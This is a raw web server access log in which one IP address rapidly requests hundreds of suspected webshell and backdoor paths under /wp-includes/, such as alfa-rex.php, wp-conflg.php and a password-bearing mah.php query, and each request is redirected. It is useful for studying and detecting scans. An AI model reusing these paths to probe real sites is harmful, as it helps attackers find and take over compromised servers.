- - [30/Apr/2025:07:35:43 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:44 -0400] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:45 -0400] "GET /wp-includes/blTvYBaqncP.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:45 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:46 -0400] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:47 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:48 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:48 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:49 -0400] "GET /wp-includes/block-patterns/ben.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:50 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:51 -0400] "GET /wp-includes/block-patterns/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:52 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:53 -0400] "GET /wp-includes/block-supports//default-constant.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:53 -0400] "GET /wp-includes/block-supports//dimensions-ajax.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:54 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:55 -0400] "GET /wp-includes/block-supports/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:57 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:58 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:59 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:35:59 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:00 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:01 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:01 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:02 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:03 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:04 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:04 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:05 -0400] "GET /wp-includes/blocks/list/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:06 -0400] "GET /wp-includes/blocks/list/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:07 -0400] "GET /wp-includes/blocks/loginout/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:08 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:09 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:10 -0400] "GET /wp-includes/blocks/post-author/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:12 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:14 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:15 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:16 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:17 -0400] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:18 -0400] "GET /wp-includes/blocks/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:19 -0400] "GET /wp-includes/bnYGWrcap1X.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:20 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:20 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:21 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:23 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:23 -0400] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:24 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:25 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:27 -0400] "GET /wp-includes/certificates/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:28 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:28 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:29 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:30 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:31 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:32 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:33 -0400] "GET /wp-includes/css/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:33 -0400] "GET /wp-includes/css/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:34 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:35 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:36 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:37 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:38 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:38 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:39 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:40 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:41 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:42 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:43 -0400] "GET /wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:44 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:45 -0400] "GET /wp-includes/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:46 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:47 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:47 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:48 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:49 -0400] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:49 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:50 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:52 -0400] "GET /wp-includes/customize/mariju.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:53 -0400] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:53 -0400] "GET /wp-includes/customize/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:54 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:55 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:56 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:56 -0400] "GET /wp-includes/fonts//links.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:57 -0400] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:58 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:59 -0400] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:36:59 -0400] "GET /wp-includes/fonts/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:00 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:00 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:01 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:01 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:02 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:03 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:04 -0400] "GET /wp-includes/html-api/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:04 -0400] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:06 -0400] "GET /wp-includes/iUN3FwyCaZR.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:07 -0400] "GET /wp-includes/iWoGYaunXNz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:07 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:08 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:08 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:09 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:09 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:10 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:10 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:11 -0400] "GET /wp-includes/images/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:12 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:12 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:12 -0400] "GET /wp-includes/images/media/ben.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:13 -0400] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:14 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:15 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:16 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:16 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:17 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:17 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:18 -0400] "GET /wp-includes/images/wlw/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:19 -0400] "GET /wp-includes/images/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:19 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:20 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:21 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:21 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:22 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:23 -0400] "GET /wp-includes/js//text.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:24 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:25 -0400] "GET /wp-includes/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:26 -0400] "GET /wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:26 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:27 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:27 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:28 -0400] "GET /wp-includes/js/codemirror/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:29 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:30 -0400] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:30 -0400] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:31 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:32 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:33 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:34 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:34 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:35 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:36 -0400] "GET /wp-includes/js/tinymce/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:36 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:37 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:38 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:39 -0400] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:39 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:40 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:40 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:41 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:41 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:42 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:43 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:44 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:46 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:46 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:47 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:47 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:48 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:48 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:49 -0400] "GET /wp-includes/js/x2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:49 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:50 -0400] "GET /wp-includes/mah.php?pass=888xyz999 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:51 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:52 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:52 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:53 -0400] "GET /wp-includes/php-compat//chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:54 -0400] "GET /wp-includes/php-compat/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:54 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:55 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:56 -0400] "GET /wp-includes/pomo/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:57 -0400] "GET /wp-includes/pomo/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:58 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:37:59 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:00 -0400] "GET /wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:00 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:01 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:01 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:02 -0400] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:03 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:03 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:04 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:04 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:05 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:06 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:06 -0400] "GET /wp-includes/rest-api//class-wp-rest-core.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:07 -0400] "GET /wp-includes/rest-api//ot_shipping.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:07 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:08 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:08 -0400] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:09 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:10 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:11 -0400] "GET /wp-includes/rest-api/endpoints/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:11 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:12 -0400] "GET /wp-includes/rest-api/endpoints/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:13 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:14 -0400] "GET /wp-includes/rest-api/fields/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:14 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:16 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:16 -0400] "GET /wp-includes/rest-api/search/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:17 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:17 -0400] "GET /wp-includes/sitemaps//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:18 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:18 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:19 -0400] "GET /wp-includes/sitemaps/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:20 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:22 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:23 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:24 -0400] "GET /wp-includes/sitemaps/providers/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:25 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:26 -0400] "GET /wp-includes/sodium_compat/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:27 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:28 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:28 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 